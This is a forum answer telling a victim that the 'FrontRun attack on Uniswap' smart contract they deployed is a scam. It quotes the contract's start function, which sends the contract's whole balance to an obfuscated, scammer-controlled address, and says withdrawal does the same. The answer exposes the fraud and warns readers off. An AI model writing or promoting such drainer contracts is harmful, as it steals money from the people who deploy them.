Here's the start function you called in transaction 0xf6781a34fced7107fd589f07603a7c184323d24c9df506549405457fc1b7218c:
emit Log("Running FrontRun attack on Uniswap. This can take a while please wait...");
payable(_callFrontRunActionMempool()).transfer(address(this).balance);
It calls _callFrontRunActionMempool(), which calculates an address, and then sends all the contract's money to that address.
The code for _callFrontRunActionMempool has been made complicated on purpose, and I didn't bother to figure out what the address is, but I guarantee it belongs to the person who told you to deploy this contract.
To add insult to injury, the withdrawal function does the exact same thing.
Congratulations on deploying your first smart contract. You did successfully deploy a smart contract, and the contract says, that all of its money goes to some scammer. And you gave it $750. Lucky for them.
Right now the contract is holding onto $500, but it doesn't really matter. The contract says all of the money goes to the scammer, not back to you. You haven't sent it to him by calling start The scammer can call the start or withdrawal function to send himself the money, and there's no way to make it go anywhere else.
Avoid any "real good pals" that teach you the "secret hidden in plain sight" for real good profits..
Get in contact with your local authorities and enjoy the ride!
– Casareafer Dec 05 '22 at 13:30